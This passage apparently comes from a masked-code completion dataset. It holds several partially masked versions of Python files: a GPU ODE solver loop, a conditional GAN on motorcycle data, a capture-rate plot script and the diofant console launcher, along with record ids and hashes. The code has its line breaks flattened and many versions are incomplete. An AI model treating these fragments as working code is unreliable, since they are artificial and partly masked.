driver.memcpy_dtoh(t, d_t) driver.memcpy_dtoh(y, d_y) driver.memcpy_dtoh(istate, d_istate) for j in range(total_threads): for k in range(self._speciesNumber): ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k] if istate[j] < 0: ret_istate[j] = 0 # end of loop over time points else: tt = self._timepoints[0] for i in range(self._resultNumber): while 1: next_time = min(tt + self._dt, self._timepoints[i]) for j in range(total_threads): tout[j] = next_time driver.memcpy_htod(d_tout, tout) self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1), grid=(blocks, 1)) driver.memcpy_dtoh(t, d_t) driver.memcpy_dtoh(y, d_y) driver.memcpy_dtoh(istate, d_istate) if np.abs(next_time - self._timepoints[i]) < 1e-5: tt = next_time break tt = next_time for j in range(total_threads): for k in range(self._speciesNumber): ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k] if istate[j] < 0: ret_istate[j] = 0 # loop over and check ret_istate # it will will be zero if there was problems for j in range(total_threads): if ret_istate[j] == 0: for i in range(self._resultNumber): for k in range(self._speciesNumber): ret_xt[j, 0, i, k] = float('NaN') return ret_xt[0:experiments]
[ 2, 3, 4, 5, 6 ]
9,941
aba3e0907e59bc5125759e90d3c784ceb97fca80
<mask token>
<mask token> np.random.seed(123) <mask token> tf.enable_eager_execution() tf.set_random_seed(123) <mask token> gen.add(tf.keras.layers.Dense(H, input_dim=P + R, activation=tf.keras. activations.elu)) gen.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu)) gen.add(tf.keras.layers.Dense(Q)) <mask token> disc.add(tf.keras.layers.Dense(H, input_dim=P + Q, activation=tf.keras. activations.elu)) disc.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu)) disc.add(tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid)) gen.summary() disc.summary() disc.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0), 'binary_crossentropy') <mask token> both_mod.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0), 'binary_crossentropy') for epoch in tqdm(range(epochs)): some_noise = np.random.normal(size=[N, R]) gen_dat = gen.predict(np.hstack([x, some_noise])) disc.trainable = True with tf.GradientTape() as td: with tf.GradientTape() as t: preds_real = disc(tf.cast(np.hstack([x, y.reshape([N, Q])]), tf .float32)) preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32)) dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np. ones(N).reshape([N, 1]), tf.cast(preds_real, tf.float64))) dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np. zeros(N).reshape([N, 1]), tf.cast(preds_fake, tf.float64))) dl = 0.5 * tf.add(dl_real, dl_fake) grads = t.gradient(dl, disc.trainable_variables) grads_norm = 0 for i in range(len(grads)): grads_norm += tf.reduce_mean(tf.square(grads[i])) grads_norm /= float(len(grads)) double_grads = td.gradient(grads_norm, disc.trainable_variables) grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc. trainable_variables[i]) for i in range(len(grads))] disc.optimizer.apply_gradients(grads_n_vars) disc.trainable = False with tf.GradientTape() as td: with tf.GradientTape() as t: preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise, tf.float32)]) bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N) .reshape([N, 1]), tf.cast(preds, tf.float64))) grads = t.gradient(bl, both_mod.trainable_variables) grads_norm = 0 for i in range(len(grads)): grads_norm += tf.reduce_mean(tf.square(grads[i])) grads_norm /= float(len(grads)) double_grads = td.gradient(grads_norm, both_mod.trainable_variables) grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], both_mod.trainable_variables[i]) for i in range(len(grads))] both_mod.optimizer.apply_gradients(grads_n_vars) <mask token> plt.scatter(x, y) <mask token> plt.scatter(x, preds) plt.savefig('temp.pdf')
<mask token> np.random.seed(123) <mask token> tf.enable_eager_execution() tf.set_random_seed(123) P = 1 R = 1 Q = 1 H = 20 epochs = 1000 doubleback_const = 1 mcycle = np.genfromtxt('./data/mcycle.csv', delimiter=',', skip_header=1) N = mcycle.shape[0] x = mcycle[:, 0].reshape([N, P]) y = mcycle[:, 1].reshape([N, Q]) x = (x - np.mean(x)) / np.std(x) y = (y - np.mean(y)) / np.std(y) gen = tf.keras.Sequential() gen.add(tf.keras.layers.Dense(H, input_dim=P + R, activation=tf.keras. activations.elu)) gen.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu)) gen.add(tf.keras.layers.Dense(Q)) disc = tf.keras.Sequential() disc.add(tf.keras.layers.Dense(H, input_dim=P + Q, activation=tf.keras. activations.elu)) disc.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu)) disc.add(tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid)) gen.summary() disc.summary() disc.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0), 'binary_crossentropy') noise = tf.keras.layers.Input(shape=(R,)) xdat = tf.keras.layers.Input(shape=(P,)) genin = tf.keras.layers.concatenate([xdat, noise]) genout = gen(genin) discin = tf.keras.layers.concatenate([xdat, genout]) validity = disc(discin) both_mod = tf.keras.models.Model([xdat, noise], validity) both_mod.layers[5].trainable = False both_mod.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0), 'binary_crossentropy') for epoch in tqdm(range(epochs)): some_noise = np.random.normal(size=[N, R]) gen_dat = gen.predict(np.hstack([x, some_noise])) disc.trainable = True with tf.GradientTape() as td: with tf.GradientTape() as t: preds_real = disc(tf.cast(np.hstack([x, y.reshape([N, Q])]), tf .float32)) preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32)) dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np. ones(N).reshape([N, 1]), tf.cast(preds_real, tf.float64))) dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np. zeros(N).reshape([N, 1]), tf.cast(preds_fake, tf.float64))) dl = 0.5 * tf.add(dl_real, dl_fake) grads = t.gradient(dl, disc.trainable_variables) grads_norm = 0 for i in range(len(grads)): grads_norm += tf.reduce_mean(tf.square(grads[i])) grads_norm /= float(len(grads)) double_grads = td.gradient(grads_norm, disc.trainable_variables) grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc. trainable_variables[i]) for i in range(len(grads))] disc.optimizer.apply_gradients(grads_n_vars) disc.trainable = False with tf.GradientTape() as td: with tf.GradientTape() as t: preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise, tf.float32)]) bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N) .reshape([N, 1]), tf.cast(preds, tf.float64))) grads = t.gradient(bl, both_mod.trainable_variables) grads_norm = 0 for i in range(len(grads)): grads_norm += tf.reduce_mean(tf.square(grads[i])) grads_norm /= float(len(grads)) double_grads = td.gradient(grads_norm, both_mod.trainable_variables) grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], both_mod.trainable_variables[i]) for i in range(len(grads))] both_mod.optimizer.apply_gradients(grads_n_vars) fig = plt.figure() plt.scatter(x, y) some_noise = np.random.normal(size=[N, P]) preds = gen.predict(np.hstack([x, some_noise])) plt.scatter(x, preds) plt.savefig('temp.pdf')
import keras import numpy as np from tqdm import tqdm import matplotlib.pyplot as plt np.random.seed(123) import tensorflow as tf from scipy.optimize import line_search tf.enable_eager_execution() tf.set_random_seed(123) P = 1 R = 1 Q = 1 H = 20 epochs = 1000 doubleback_const = 1 mcycle = np.genfromtxt('./data/mcycle.csv', delimiter=',', skip_header=1) N = mcycle.shape[0] x = mcycle[:, 0].reshape([N, P]) y = mcycle[:, 1].reshape([N, Q]) x = (x - np.mean(x)) / np.std(x) y = (y - np.mean(y)) / np.std(y) gen = tf.keras.Sequential() gen.add(tf.keras.layers.Dense(H, input_dim=P + R, activation=tf.keras. activations.elu)) gen.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu)) gen.add(tf.keras.layers.Dense(Q)) disc = tf.keras.Sequential() disc.add(tf.keras.layers.Dense(H, input_dim=P + Q, activation=tf.keras. activations.elu)) disc.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu)) disc.add(tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid)) gen.summary() disc.summary() disc.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0), 'binary_crossentropy') noise = tf.keras.layers.Input(shape=(R,)) xdat = tf.keras.layers.Input(shape=(P,)) genin = tf.keras.layers.concatenate([xdat, noise]) genout = gen(genin) discin = tf.keras.layers.concatenate([xdat, genout]) validity = disc(discin) both_mod = tf.keras.models.Model([xdat, noise], validity) both_mod.layers[5].trainable = False both_mod.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0), 'binary_crossentropy') for epoch in tqdm(range(epochs)): some_noise = np.random.normal(size=[N, R]) gen_dat = gen.predict(np.hstack([x, some_noise])) disc.trainable = True with tf.GradientTape() as td: with tf.GradientTape() as t: preds_real = disc(tf.cast(np.hstack([x, y.reshape([N, Q])]), tf .float32)) preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32)) dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np. ones(N).reshape([N, 1]), tf.cast(preds_real, tf.float64))) dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np. zeros(N).reshape([N, 1]), tf.cast(preds_fake, tf.float64))) dl = 0.5 * tf.add(dl_real, dl_fake) grads = t.gradient(dl, disc.trainable_variables) grads_norm = 0 for i in range(len(grads)): grads_norm += tf.reduce_mean(tf.square(grads[i])) grads_norm /= float(len(grads)) double_grads = td.gradient(grads_norm, disc.trainable_variables) grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc. trainable_variables[i]) for i in range(len(grads))] disc.optimizer.apply_gradients(grads_n_vars) disc.trainable = False with tf.GradientTape() as td: with tf.GradientTape() as t: preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise, tf.float32)]) bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N) .reshape([N, 1]), tf.cast(preds, tf.float64))) grads = t.gradient(bl, both_mod.trainable_variables) grads_norm = 0 for i in range(len(grads)): grads_norm += tf.reduce_mean(tf.square(grads[i])) grads_norm /= float(len(grads)) double_grads = td.gradient(grads_norm, both_mod.trainable_variables) grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], both_mod.trainable_variables[i]) for i in range(len(grads))] both_mod.optimizer.apply_gradients(grads_n_vars) fig = plt.figure() plt.scatter(x, y) some_noise = np.random.normal(size=[N, P]) preds = gen.predict(np.hstack([x, some_noise])) plt.scatter(x, preds) plt.savefig('temp.pdf')
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # python/motorcycle.py Author "Nathan Wycoff <[email protected]>" Date 06.23.2019 # Run a CGAN on the motorcycle data. import keras import numpy as np from tqdm import tqdm import matplotlib.pyplot as plt np.random.seed(123) import tensorflow as tf from scipy.optimize import line_search tf.enable_eager_execution() tf.set_random_seed(123) P = 1 # Dim of X data (to be conditioned on) R = 1 # Dim of latent error variable Q = 1 # Dim of y data (to be generated) H = 20# Number of hidden units epochs = 1000 doubleback_const = 1 # Load and pre-process data mcycle = np.genfromtxt('./data/mcycle.csv', delimiter=',', skip_header = 1) N = mcycle.shape[0] x = mcycle[:,0].reshape([N,P]) y = mcycle[:,1].reshape([N,Q]) #x /= max(x) #y = (y-min(y)) / (max(y) - min(y)) x = (x - np.mean(x)) / np.std(x) y = (y - np.mean(y)) / np.std(y) # Build the generator, accepts X and Z as inputs gen = tf.keras.Sequential() gen.add(tf.keras.layers.Dense(H, input_dim = P + R, activation = tf.keras.activations.elu)) gen.add(tf.keras.layers.Dense(H, activation = tf.keras.activations.elu)) gen.add(tf.keras.layers.Dense(Q)) # Build the discriminator, accepts an X and a Y as inputs. disc = tf.keras.Sequential() disc.add(tf.keras.layers.Dense(H, input_dim = P + Q, activation = tf.keras.activations.elu)) disc.add(tf.keras.layers.Dense(H, activation = tf.keras.activations.elu)) disc.add(tf.keras.layers.Dense(1, activation = tf.keras.activations.sigmoid)) gen.summary() disc.summary() # NOTE: Compilation of discriminator needs to occur BEFORE we set its weights untrainable below, as these changes will not be reflected until disc is compiled again. So also be wary of compiling disc later, as its weights may not change. #TODO: the above is a mess, find a better way. #disc.compile(tf.keras.optimizers.Adam(), 'binary_crossentropy') disc.compile(tf.train.GradientDescentOptimizer(learning_rate = 1.0), 'binary_crossentropy') noise = tf.keras.layers.Input(shape = (R,)) xdat = tf.keras.layers.Input(shape = (P,)) genin = tf.keras.layers.concatenate([xdat, noise]) genout = gen(genin) discin = tf.keras.layers.concatenate([xdat, genout]) validity = disc(discin) #NOTE: Next lin possible issue in ordering of inputs? both_mod = tf.keras.models.Model([xdat, noise], validity) both_mod.layers[5].trainable = False #both_mod.compile(tf.keras.optimizers.Adam(), 'binary_crossentropy') #both_mod.compile(tf.train.AdamOptimizer(), 'binary_crossentropy') both_mod.compile(tf.train.GradientDescentOptimizer(learning_rate = 1.0), 'binary_crossentropy') ## Custom training with double backprop #genloss = lambda: both_mod.output #genopt = tf.keras.optimizers.Adam(genloss, both_mod.trainable_variables) # Do the training! for epoch in tqdm(range(epochs)): # Sample some noise #TODO: Batch size some_noise = np.random.normal(size=[N,R]) gen_dat = gen.predict(np.hstack([x, some_noise])) # Train discriminator #NOTE: Minor discrepency in losses from the manual loop below and from keras's built in: follow up if there appears to be bugs. #disc_rl = disc.train_on_batch(np.hstack([x, y]), np.ones(N)) #disc_fl = disc.train_on_batch(np.hstack([x, gen_dat]), np.zeros(N)) #disc_loss = 0.5 * np.add(disc_rl, disc_fl) disc.trainable = True with tf.GradientTape() as td: with tf.GradientTape() as t: #preds_real = disc(tf.cast(np.concatenate([x, y]).reshape([N,P+Q]), tf.float32)) #preds_fake = disc(tf.cast(np.concatenate([x, gen_dat]).reshape([N,P+Q]), tf.float32)) preds_real = disc(tf.cast(np.hstack([x, y.reshape([N,Q])]), tf.float32)) preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32)) dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N).reshape([N,1]), tf.cast(preds_real, tf.float64))) dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np.zeros(N).reshape([N,1]), tf.cast(preds_fake, tf.float64))) dl = 0.5*tf.add(dl_real, dl_fake) grads = t.gradient(dl, disc.trainable_variables) grads_norm = 0 for i in range(len(grads)): #grads_norm += tf.reduce_sum(tf.square(grads[i])) grads_norm += tf.reduce_mean(tf.square(grads[i])) grads_norm /= float(len(grads)) double_grads = td.gradient(grads_norm, disc.trainable_variables) grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc.trainable_variables[i]) for i in range(len(grads))] disc.optimizer.apply_gradients(grads_n_vars) disc.trainable = False # Train generator #both_mod.train_on_batch([x, some_noise], np.ones(N)) # Manually compute and apply gradient with tf.GradientTape() as td: with tf.GradientTape() as t: preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise, tf.float32)]) bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N).reshape([N,1]), tf.cast(preds, tf.float64))) #bl = tf.losses.sigmoid_cross_entropy(preds, np.ones(N).reshape([N,1])) grads = t.gradient(bl, both_mod.trainable_variables) grads_norm = 0 for i in range(len(grads)): #grads_norm += tf.reduce_sum(tf.square(grads[i])) grads_norm += tf.reduce_mean(tf.square(grads[i])) grads_norm /= float(len(grads)) double_grads = td.gradient(grads_norm, both_mod.trainable_variables) grads_n_vars = [(grads[i] + doubleback_const*double_grads[i], both_mod.trainable_variables[i]) for i in range(len(grads))] both_mod.optimizer.apply_gradients(grads_n_vars) # Plot the results fig = plt.figure() plt.scatter(x, y) some_noise = np.random.normal(size=[N,P]) preds = gen.predict(np.hstack([x, some_noise])) plt.scatter(x, preds) #plt.savefig("images/motor_scatter.pdf") plt.savefig("temp.pdf")
[ 0, 1, 2, 3, 4 ]
9,942
bee96e817dd4d9462c1e3f8eb525c22c2117140a
<mask token>
<mask token> plt.figure() plt.xlabel('Time (ms)', fontsize=30) plt.ylabel('Capture rate (%)', fontsize=30) plt.xticks(fontsize=25) plt.yticks(fontsize=25) plt.xlim(x_lower_limit, x_upper_limit) plt.ylim(y_lower_limit, y_upper_limit) plt.plot(show_time, show_eff, 'b-', markeredgecolor='b', linewidth=5) plt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches= 'tight') plt.show()
<mask token> data = np.loadtxt('eff-proton.dat') show_time = data[0] show_eff = data[1] x_lower_limit = 0.0 x_upper_limit = para.T_nu * 1000 y_lower_limit = min(show_eff) - abs(max(show_eff) - min(show_eff)) y_upper_limit = max(show_eff) plt.figure() plt.xlabel('Time (ms)', fontsize=30) plt.ylabel('Capture rate (%)', fontsize=30) plt.xticks(fontsize=25) plt.yticks(fontsize=25) plt.xlim(x_lower_limit, x_upper_limit) plt.ylim(y_lower_limit, y_upper_limit) plt.plot(show_time, show_eff, 'b-', markeredgecolor='b', linewidth=5) plt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches= 'tight') plt.show()
from math import * import numpy as np import matplotlib.pyplot as plt import Input as para data = np.loadtxt('eff-proton.dat') show_time = data[0] show_eff = data[1] x_lower_limit = 0.0 x_upper_limit = para.T_nu * 1000 y_lower_limit = min(show_eff) - abs(max(show_eff) - min(show_eff)) y_upper_limit = max(show_eff) plt.figure() plt.xlabel('Time (ms)', fontsize=30) plt.ylabel('Capture rate (%)', fontsize=30) plt.xticks(fontsize=25) plt.yticks(fontsize=25) plt.xlim(x_lower_limit, x_upper_limit) plt.ylim(y_lower_limit, y_upper_limit) plt.plot(show_time, show_eff, 'b-', markeredgecolor='b', linewidth=5) plt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches= 'tight') plt.show()
#!/usr/bin/env python from math import * import numpy as np import matplotlib.pyplot as plt import Input as para data = np.loadtxt("eff-proton.dat") #data = np.loadtxt("eff-electron.dat") show_time = data[0] show_eff = data[1] #print show_turn, show_eff #x_lower_limit = min(show_time) #x_upper_limit = max(show_time) x_lower_limit = 0.0 x_upper_limit = para.T_nu*1000 y_lower_limit = min(show_eff)-abs(max(show_eff)-min(show_eff)) y_upper_limit = max(show_eff) plt.figure() plt.xlabel('Time (ms)', fontsize=30) plt.ylabel('Capture rate (%)', fontsize=30) plt.xticks(fontsize=25) plt.yticks(fontsize=25) plt.xlim(x_lower_limit, x_upper_limit) plt.ylim(y_lower_limit, y_upper_limit) plt.plot(show_time, show_eff, 'b-', markeredgecolor = 'b', linewidth=5) plt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches='tight') #plt.savefig('eff-vs-time-electron.eps', format='eps', dpi=1000, bbox_inches='tight') plt.show()
[ 0, 1, 2, 3, 4 ]
9,943
80e395715d3ae216beb17e7caed1d8d03c5c56de
<mask token> def main(): args, ipython_args = parser.parse_known_args() lines = ['from diofant import *', 'init_printing()', "a, b, c, d, t, x, y, z = symbols('a:d t x:z')", "k, m, n = symbols('k m n', integer=True)", "f, g, h = symbols('f g h', cls=Function)", 'init_printing(pretty_print=True, use_unicode=True)'] try: import IPython import traitlets except ImportError: args.no_ipython = True if not args.no_ipython: config = traitlets.config.loader.Config() shell = config.InteractiveShell ast_transformers = shell.ast_transformers if not args.no_wrap_division: ast_transformers.append(IntegerDivisionWrapper()) shell.confirm_exit = False config.TerminalIPythonApp.display_banner = False config.TerminalInteractiveShell.autoformatter = None app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config) app.initialize(ipython_args) shell = app.shell for l in lines: shell.run_cell(l, silent=True) if args.auto_symbols: shell.run_cell( 'from diofant.interactive.session import AutomaticSymbols') shell.run_cell('ip = get_ipython()') shell.run_cell( 'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))') shell.run_cell('del ip') if args.unicode_identifiers: shell.run_cell( 'from diofant.interactive.session import unicode_identifiers') shell.run_cell('ip = get_ipython()') shell.run_cell( 'ip.input_transformers_cleanup.append(unicode_identifiers)') shell.run_cell('del ip') app.start() else: ast_transformers = [] source_transformers = [] ns = {} if not args.no_wrap_division: ast_transformers.append(IntegerDivisionWrapper()) if args.auto_symbols: ast_transformers.append(AutomaticSymbols(ns)) if args.unicode_identifiers: source_transformers.append(unicode_identifiers) class DiofantConsole(code.InteractiveConsole): """An interactive console with readline support.""" def __init__(self, ast_transformers=[], source_transformers=[], **kwargs): super().__init__(**kwargs) readline.set_completer(rlcompleter.Completer(ns).complete) readline.parse_and_bind('tab: complete') history = os.path.expanduser('~/.python_history') readline.read_history_file(history) atexit.register(readline.write_history_file, history) self.ast_transformers = ast_transformers self.source_transformers = source_transformers def runsource(self, source, filename='<input>', symbol='single'): for t in self.source_transformers: source = '\n'.join(t(source.splitlines())) try: tree = ast.parse(source) except SyntaxError: return True for t in self.ast_transformers: tree = t.visit(tree) ast.fix_missing_locations(tree) source = ast.unparse(tree) source = source.split('\n') source = ';'.join(source) return super().runsource(source, filename=filename, symbol= symbol) c = DiofantConsole(ast_transformers=ast_transformers, source_transformers=source_transformers, locals=ns) for l in lines: c.push(l) c.interact('', '') <mask token>
<mask token> parser.add_argument('--no-wrap-division', help= "Don't wrap integer divisions with Fraction", action='store_true') parser.add_argument('-a', '--auto-symbols', help= "Automatically create missing Symbol's", action='store_true') parser.add_argument('--no-ipython', help="Don't use IPython", action= 'store_true') parser.add_argument('--unicode-identifiers', help= 'Allow any unicode identifiers', action='store_true') def main(): args, ipython_args = parser.parse_known_args() lines = ['from diofant import *', 'init_printing()', "a, b, c, d, t, x, y, z = symbols('a:d t x:z')", "k, m, n = symbols('k m n', integer=True)", "f, g, h = symbols('f g h', cls=Function)", 'init_printing(pretty_print=True, use_unicode=True)'] try: import IPython import traitlets except ImportError: args.no_ipython = True if not args.no_ipython: config = traitlets.config.loader.Config() shell = config.InteractiveShell ast_transformers = shell.ast_transformers if not args.no_wrap_division: ast_transformers.append(IntegerDivisionWrapper()) shell.confirm_exit = False config.TerminalIPythonApp.display_banner = False config.TerminalInteractiveShell.autoformatter = None app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config) app.initialize(ipython_args) shell = app.shell for l in lines: shell.run_cell(l, silent=True) if args.auto_symbols: shell.run_cell( 'from diofant.interactive.session import AutomaticSymbols') shell.run_cell('ip = get_ipython()') shell.run_cell( 'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))') shell.run_cell('del ip') if args.unicode_identifiers: shell.run_cell( 'from diofant.interactive.session import unicode_identifiers') shell.run_cell('ip = get_ipython()') shell.run_cell( 'ip.input_transformers_cleanup.append(unicode_identifiers)') shell.run_cell('del ip') app.start() else: ast_transformers = [] source_transformers = [] ns = {} if not args.no_wrap_division: ast_transformers.append(IntegerDivisionWrapper()) if args.auto_symbols: ast_transformers.append(AutomaticSymbols(ns)) if args.unicode_identifiers: source_transformers.append(unicode_identifiers) class DiofantConsole(code.InteractiveConsole): """An interactive console with readline support.""" def __init__(self, ast_transformers=[], source_transformers=[], **kwargs): super().__init__(**kwargs) readline.set_completer(rlcompleter.Completer(ns).complete) readline.parse_and_bind('tab: complete') history = os.path.expanduser('~/.python_history') readline.read_history_file(history) atexit.register(readline.write_history_file, history) self.ast_transformers = ast_transformers self.source_transformers = source_transformers def runsource(self, source, filename='<input>', symbol='single'): for t in self.source_transformers: source = '\n'.join(t(source.splitlines())) try: tree = ast.parse(source) except SyntaxError: return True for t in self.ast_transformers: tree = t.visit(tree) ast.fix_missing_locations(tree) source = ast.unparse(tree) source = source.split('\n') source = ';'.join(source) return super().runsource(source, filename=filename, symbol= symbol) c = DiofantConsole(ast_transformers=ast_transformers, source_transformers=source_transformers, locals=ns) for l in lines: c.push(l) c.interact('', '') if __name__ == '__main__': main()
<mask token> __all__ = () parser = argparse.ArgumentParser(description=__doc__, prog='python -m diofant') parser.add_argument('--no-wrap-division', help= "Don't wrap integer divisions with Fraction", action='store_true') parser.add_argument('-a', '--auto-symbols', help= "Automatically create missing Symbol's", action='store_true') parser.add_argument('--no-ipython', help="Don't use IPython", action= 'store_true') parser.add_argument('--unicode-identifiers', help= 'Allow any unicode identifiers', action='store_true') def main(): args, ipython_args = parser.parse_known_args() lines = ['from diofant import *', 'init_printing()', "a, b, c, d, t, x, y, z = symbols('a:d t x:z')", "k, m, n = symbols('k m n', integer=True)", "f, g, h = symbols('f g h', cls=Function)", 'init_printing(pretty_print=True, use_unicode=True)'] try: import IPython import traitlets except ImportError: args.no_ipython = True if not args.no_ipython: config = traitlets.config.loader.Config() shell = config.InteractiveShell ast_transformers = shell.ast_transformers if not args.no_wrap_division: ast_transformers.append(IntegerDivisionWrapper()) shell.confirm_exit = False config.TerminalIPythonApp.display_banner = False config.TerminalInteractiveShell.autoformatter = None app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config) app.initialize(ipython_args) shell = app.shell for l in lines: shell.run_cell(l, silent=True) if args.auto_symbols: shell.run_cell( 'from diofant.interactive.session import AutomaticSymbols') shell.run_cell('ip = get_ipython()') shell.run_cell( 'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))') shell.run_cell('del ip') if args.unicode_identifiers: shell.run_cell( 'from diofant.interactive.session import unicode_identifiers') shell.run_cell('ip = get_ipython()') shell.run_cell( 'ip.input_transformers_cleanup.append(unicode_identifiers)') shell.run_cell('del ip') app.start() else: ast_transformers = [] source_transformers = [] ns = {} if not args.no_wrap_division: ast_transformers.append(IntegerDivisionWrapper()) if args.auto_symbols: ast_transformers.append(AutomaticSymbols(ns)) if args.unicode_identifiers: source_transformers.append(unicode_identifiers) class DiofantConsole(code.InteractiveConsole): """An interactive console with readline support.""" def __init__(self, ast_transformers=[], source_transformers=[], **kwargs): super().__init__(**kwargs) readline.set_completer(rlcompleter.Completer(ns).complete) readline.parse_and_bind('tab: complete') history = os.path.expanduser('~/.python_history') readline.read_history_file(history) atexit.register(readline.write_history_file, history) self.ast_transformers = ast_transformers self.source_transformers = source_transformers def runsource(self, source, filename='<input>', symbol='single'): for t in self.source_transformers: source = '\n'.join(t(source.splitlines())) try: tree = ast.parse(source) except SyntaxError: return True for t in self.ast_transformers: tree = t.visit(tree) ast.fix_missing_locations(tree) source = ast.unparse(tree) source = source.split('\n') source = ';'.join(source) return super().runsource(source, filename=filename, symbol= symbol) c = DiofantConsole(ast_transformers=ast_transformers, source_transformers=source_transformers, locals=ns) for l in lines: c.push(l) c.interact('', '') if __name__ == '__main__': main()
<mask token> import argparse import ast import atexit import code import os import readline import rlcompleter from diofant.interactive.session import AutomaticSymbols, IntegerDivisionWrapper, unicode_identifiers __all__ = () parser = argparse.ArgumentParser(description=__doc__, prog='python -m diofant') parser.add_argument('--no-wrap-division', help= "Don't wrap integer divisions with Fraction", action='store_true') parser.add_argument('-a', '--auto-symbols', help= "Automatically create missing Symbol's", action='store_true') parser.add_argument('--no-ipython', help="Don't use IPython", action= 'store_true') parser.add_argument('--unicode-identifiers', help= 'Allow any unicode identifiers', action='store_true') def main(): args, ipython_args = parser.parse_known_args() lines = ['from diofant import *', 'init_printing()', "a, b, c, d, t, x, y, z = symbols('a:d t x:z')", "k, m, n = symbols('k m n', integer=True)", "f, g, h = symbols('f g h', cls=Function)", 'init_printing(pretty_print=True, use_unicode=True)'] try: import IPython import traitlets except ImportError: args.no_ipython = True if not args.no_ipython: config = traitlets.config.loader.Config() shell = config.InteractiveShell ast_transformers = shell.ast_transformers if not args.no_wrap_division: ast_transformers.append(IntegerDivisionWrapper()) shell.confirm_exit = False config.TerminalIPythonApp.display_banner = False config.TerminalInteractiveShell.autoformatter = None app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config) app.initialize(ipython_args) shell = app.shell for l in lines: shell.run_cell(l, silent=True) if args.auto_symbols: shell.run_cell( 'from diofant.interactive.session import AutomaticSymbols') shell.run_cell('ip = get_ipython()') shell.run_cell( 'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))') shell.run_cell('del ip') if args.unicode_identifiers: shell.run_cell( 'from diofant.interactive.session import unicode_identifiers') shell.run_cell('ip = get_ipython()') shell.run_cell( 'ip.input_transformers_cleanup.append(unicode_identifiers)') shell.run_cell('del ip') app.start() else: ast_transformers = [] source_transformers = [] ns = {} if not args.no_wrap_division: ast_transformers.append(IntegerDivisionWrapper()) if args.auto_symbols: ast_transformers.append(AutomaticSymbols(ns)) if args.unicode_identifiers: source_transformers.append(unicode_identifiers) class DiofantConsole(code.InteractiveConsole): """An interactive console with readline support.""" def __init__(self, ast_transformers=[], source_transformers=[], **kwargs): super().__init__(**kwargs) readline.set_completer(rlcompleter.Completer(ns).complete) readline.parse_and_bind('tab: complete') history = os.path.expanduser('~/.python_history') readline.read_history_file(history) atexit.register(readline.write_history_file, history) self.ast_transformers = ast_transformers self.source_transformers = source_transformers def runsource(self, source, filename='<input>', symbol='single'): for t in self.source_transformers: source = '\n'.join(t(source.splitlines())) try: tree = ast.parse(source) except SyntaxError: return True for t in self.ast_transformers: tree = t.visit(tree) ast.fix_missing_locations(tree) source = ast.unparse(tree) source = source.split('\n') source = ';'.join(source) return super().runsource(source, filename=filename, symbol= symbol) c = DiofantConsole(ast_transformers=ast_transformers, source_transformers=source_transformers, locals=ns) for l in lines: c.push(l) c.interact('', '') if __name__ == '__main__': main()
